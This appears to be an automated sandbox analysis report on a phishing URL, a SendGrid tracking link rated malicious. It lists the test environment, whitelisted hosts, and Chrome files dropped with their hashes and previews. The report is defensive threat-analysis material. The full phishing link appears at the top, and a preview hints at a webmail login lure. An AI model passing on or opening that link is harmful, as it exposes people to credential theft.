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Sample URL: https://u27457241.ct.sendgrid.net/ls/click?upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-2Bhghe49Z0FiLcWjrB3-
2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-
2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-2Bl2yPjdcSrK-
2F9ezebjhFVSInURAAh0NL7wSvgIxrQfzCizFzhR7FuzvZGAC9IXJiD5MvT-2BM-
2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMttci2nlXO0KBQ-3D-3D

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

13

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal64.phis.win@24/86@13/12

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 142.250.184.238, 74.125.108.198, 173.194.160.70, 172.217.23.99, 69.16.175.42, 69.16.175.10, 104.18.23.52, 104.18.22.52, 142.250.185.202, 1
42.250.185.234, 104.21.30.41, 172.67.150.137, 142.250.186.170, 142.250.185.228
Excluded domains from analysis (whitelisted): www.bing.com, kit.fontawesome.com.cdn.cloudflare.net, cds.s5x3j6q5.hwcdn.net, fonts.googleapis.com, fs.microsoft.com, ka-
f.fontawesome.com.cdn.cloudflare.net, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, r1.sn-1gi7znek.gvt1.com, clientservices.googleapis.com, t1.gstatic.com,
r1.sn-1gi7znes.gvt1.com, arc.msn.com, r1---sn-1gi7znek.gvt1.com, r1---sn-1gi7znes.gvt1.com, redirector.gvt1.com, store-images.s-microsoft.com, login.live.com
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints
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⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 451603

Entropy (8bit): 5.009711072558331

Encrypted: false

SSDEEP: 12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ

MD5: A78AD14E77147E7DE3647E61964C0335

SHA1: CECC3DD41F4CEA0192B24300C71E1911BD4FCE45

SHA-256: 0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA

SHA-512: DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321
101

Malicious: false

Reputation: low

Preview: BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF 
MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF 
SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF 
DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.
AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GM
DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS
.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF 
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 214211

Entropy (8bit): 6.070829936865481

Encrypted: false

SSDEEP: 6144:DiogQRUdqlM7dKoOO2Z9gK1YcraqfIlUOoSiuRQ:DiNDdqe70oOl9gKVco7

MD5: 2512D1EDA3E43E88A83649C61DF279B4

SHA1: ADB44884005C1DE3C58FBBDB13C2C7568D427ACF

SHA-256: 329A3F6BA81B53CEAD430873C8F3EB1E9E16D524D6836B6A0F0518D59F3E0A14

SHA-512: 648C0D3F9DAF4E5986959E5D4926EAFB563CFD1AF5AC306E6D4632E8164774606BD58EDF1F0A98F6F23571144B07D562A4FB814169CEF0C85C7E45CADED6E97
4

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.656729406792677e+12,"network":1.656697008e+12,"ticks":117798111.0,"uncertainty":3784700.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13245951016607996"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.254162526001658

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\35d993f3-3535-46f4-a92b-c21b003497f7.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
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Encrypted: false

SSDEEP: 3:FkXft0xE1n:+ftIE1n

MD5: BD4642AD6C750A12D912B20BCB92E14D

SHA1: C549F0F48FDD4FBC62E51AC26D7E185160CE2123

SHA-256: 4FD71FE78DFE203137C89C9FB0734358FF432F2BC83338112DC7B830F9B30F2C

SHA-512: 04410D12EF327614C3AF1251C9906BFEB2977211A7F53CBB08A8C01F9465A382CD001E51AB936A0D196D359F1DECDDAEAF5E7D1DBD49CE5F4FF91BF5C332B6
CF

Malicious: false

Reputation: low

Preview: sdPC....................s}.....M..2.!..%

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4219

Entropy (8bit): 4.871684703914691

Encrypted: false

SSDEEP: 48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH

MD5: EDC4A4E22003A711AEF67FAED28DB603

SHA1: 977E551B9ED5F60D018C030B0B4AA2E33B954556

SHA-256: DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453

SHA-512: 84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advert
ised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","support
s_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":
"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"1324854350
1454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17703

Entropy (8bit): 5.576907952629572

Encrypted: false

SSDEEP: 384:wqZ1tPLlC3Xs1kXqKf/pUZNCgVLH2HfDPrUwY7KK4W:DfLlQs1kXqKf/pUZNCgVLH2HfzrUwdK1

MD5: ED8128E642308B00E7DD566AD979C773

SHA1: 1B1F6301F51D943FE0DCC446E9D762EAF026EC94

SHA-256: 49BBED612FC40BDA5825A52EF847759831154E7CF0FF0D9C25F2354CC2FB8DE6

SHA-512: CC262AAF9340E19346893202F5B1C958F58DB269EB34B5E363FB82D24FA79D3E272BFE5E8DA4E67ED87F0EDE3FA5A6D835E1E3A601FB64348EFFD180D90E14
89

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301203004718122","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17702

Entropy (8bit): 5.576997198666753

Encrypted: false

SSDEEP: 384:wqZ1tuLlC3Xs1kXqKf/pUZNCgVLH2HfDPrUmY7KK4ea:DeLlQs1kXqKf/pUZNCgVLH2HfzrUmdKI

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\184b41a6-afc8-484e-a19a-e1cc295332cf.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\60e85aac-3225-4c81-a66c-c8d56f9b66e0.tmp
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MD5: 093B62AEF6AC71772F41DAF11D84D80C

SHA1: 6838263420C04547C10FA750141F6AB01AA46C2D

SHA-256: C83DFCC89981BD7CFB90F36709A11C257361D01B6265801C7AC39D93EB6B8DA7

SHA-512: F5BC008CE500A4713F8FF4802104F476D78E6126731A816CD4149C0F2DE3777FF5EE4EE281E8AC6CC526E41C1DD43BB0BCE8B1ACA821D54C1F3A1CEC9CFD86
88

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301203004718122","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5186

Entropy (8bit): 4.990304325026527

Encrypted: false

SSDEEP: 96:n/CtcTs1pcKIuok0JCKL8SmkV14bOTQVuwn:n/CSs1pcL4KmkVE

MD5: 2910B2E9542C2D7D3268A85CC6FD3DF7

SHA1: 15808B98F08C411F488073D266242A691E6F94DA

SHA-256: 94D6F22F21949F8D4B4549FF73D05F4EBE7913261B6F8F8C4867D99A40504ED0

SHA-512: E74707D5FDADF7AD9AC887C271F16D7EF74DB1754AA9C6EBA130ACC35C11A892E547C27A0F4AF6D0D50E81ADF38418BA868DC00E6DE2220000D00F5847D242
27

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13301203005406212","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\61c5e631-3a9f-4a3a-b1d7-ef931f88b611.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6bbafcc4-c63c-4c9f-bd44-a74afef1074b.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json
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MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Reputation: low

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Reputation: low

Preview: .f.5................f.5...............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.306042153154272

Encrypted: false

SSDEEP: 6:63SYpq2PWXp+N23iKKdK25+Xqx8chI+IFUtqV53SY5IRXZmwYV53SYiIXPkwOWXc:Yva5KkTXfchI3FUtH9/RqP5f5KkTXfcF

MD5: 2360DC473DC46FD8715F77147C2F390C

SHA1: 9AFB9F48F3DF19E0BB7E9FA5A90B614050C93474

SHA-256: 2D85781C5BEF3CBF18E5413739F8E1EF276DFDE28D6BE124C22FB3C6979FC170

SHA-512: 9A5B3203DBFBE1C455E81D6675E9084CB86908769D441E70557D082FA710D7542789F0DF0A98576EEC4E7263CB19BDB16ED02E5A8BBAADC965B8DFA8319AFD
53

Malicious: false

Reputation: low

Preview: 2022/07/01-19:36:50.989 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/07/01-19:36:50.990 1b24 Recovering log #3.2022/07/01-19:36:50.991 1b24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.306042153154272

Encrypted: false

SSDEEP: 6:63SYpq2PWXp+N23iKKdK25+Xqx8chI+IFUtqV53SY5IRXZmwYV53SYiIXPkwOWXc:Yva5KkTXfchI3FUtH9/RqP5f5KkTXfcF

MD5: 2360DC473DC46FD8715F77147C2F390C

SHA1: 9AFB9F48F3DF19E0BB7E9FA5A90B614050C93474

SHA-256: 2D85781C5BEF3CBF18E5413739F8E1EF276DFDE28D6BE124C22FB3C6979FC170

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
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SHA-512: 9A5B3203DBFBE1C455E81D6675E9084CB86908769D441E70557D082FA710D7542789F0DF0A98576EEC4E7263CB19BDB16ED02E5A8BBAADC965B8DFA8319AFD
53

Malicious: false

Reputation: low

Preview: 2022/07/01-19:36:50.989 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/07/01-19:36:50.990 1b24 Recovering log #3.2022/07/01-19:36:50.991 1b24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 3781

Entropy (8bit): 6.370558197647891

Encrypted: false

SSDEEP: 96:2GMWOLtjszlOIY/8qO4fejGr55R6C8HshOTI8C:2HWOLtjspOIYkqFejGr5qCtMC

MD5: DBDDB81E3B2D3161AEBEBB5DCE539D8C

SHA1: 85A070711327C61CDCC9A4439DECD1AF5CE921E5

SHA-256: 40E4E3CFACEB285F4E4279A7E81814D0E07617A23792A69BA6D665B58AFFBA3B

SHA-512: A95A33893E8F701306903A4323306D05E099A0A3E8CA65749D9B40BFB1E75392F65CF36AF44F7BE658ADEED2867F1A84C63E75647CC70D420B866E61146F2B24

Malicious: false

Reputation: low

Preview: ............"...0..aaaad..app..azaaxbfnmnkncpld1dbkcjabbv..cai..com..glenergy..h6yak..html..https..ic0..jqaaa..jwilson..login..nnmubbhh57idtuvbpjctilbygyk..o8mwq8otfzuw6q
saaljppioq..okb..pepwe..plpb..pu55nb1yr2jpvyrqse..qcysq..raw..rhwh..webmail..2bhghe49z0filcwjrb3.#2bhjprzrjun0d0sgbkxrx6on6zdj2bs4rqe..2bi29kn..2bjizuy..2bl2ypj
dcsrk..2bm.42bord7njexckq3jfy6kjuvaliuzjyvy957xsqnmttci2nlxo0kbq. 2bvjwaipglbqxopoirajaadgutnhglhj..2bypg4xg7cfcrtveqe.;2f9ezebjhfvsinuraah0nl7wsvgixrqfzcizfzhr
7fuzvzgac9ixjid5mvt.!2feijsrjo19pxwj6txzh5pmmxxnbxo272..2fwx06vp6cnzr5fng8rlhztvfnefss..3d..3daxs4.._..click..ct..gu5vgdjvhsr8xbwi9kbyhcmrgj..ls..net..sendgrid.
.u27457241..upn..http..l*...0....2bhghe49z0filcwjrb3...'.#2bhjprzrjun0d0sgbkxrx6on6zdj2bs4rqe......2bi29kn......2bjizuy......2bl2ypjdcsrk......2bm...8.42bord7njexckq3jfy6
kjuvaliuzjyvy957xsqnmttci2nlxo0kbq...$. 2bvjwaipglbqxopoirajaadgutnhglhj......2bypg4xg7cfcrtveqe...?.;2f9ezebjhfvsinuraah0nl7wsvgixrqfzcizfzhr7fuzvzgac9ixjid5mvt. 
.%.!2feijsrjo19p

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4219

Entropy (8bit): 4.871684703914691

Encrypted: false

SSDEEP: 48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH

MD5: EDC4A4E22003A711AEF67FAED28DB603

SHA1: 977E551B9ED5F60D018C030B0B4AA2E33B954556

SHA-256: DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453

SHA-512: 84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advert
ised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","support
s_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":
"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"1324854350
1454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5186

Entropy (8bit): 4.990304325026527

Encrypted: false

SSDEEP: 96:n/CtcTs1pcKIuok0JCKL8SmkV14bOTQVuwn:n/CSs1pcL4KmkVE

MD5: 2910B2E9542C2D7D3268A85CC6FD3DF7

SHA1: 15808B98F08C411F488073D266242A691E6F94DA

SHA-256: 94D6F22F21949F8D4B4549FF73D05F4EBE7913261B6F8F8C4867D99A40504ED0

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
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SHA-512: E74707D5FDADF7AD9AC887C271F16D7EF74DB1754AA9C6EBA130ACC35C11A892E547C27A0F4AF6D0D50E81ADF38418BA868DC00E6DE2220000D00F5847D242
27

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13301203005406212","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17703

Entropy (8bit): 5.576907952629572

Encrypted: false

SSDEEP: 384:wqZ1tPLlC3Xs1kXqKf/pUZNCgVLH2HfDPrUwY7KK4W:DfLlQs1kXqKf/pUZNCgVLH2HfzrUwdK1

MD5: ED8128E642308B00E7DD566AD979C773

SHA1: 1B1F6301F51D943FE0DCC446E9D762EAF026EC94

SHA-256: 49BBED612FC40BDA5825A52EF847759831154E7CF0FF0D9C25F2354CC2FB8DE6

SHA-512: CC262AAF9340E19346893202F5B1C958F58DB269EB34B5E363FB82D24FA79D3E272BFE5E8DA4E67ED87F0EDE3FA5A6D835E1E3A601FB64348EFFD180D90E14
89

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
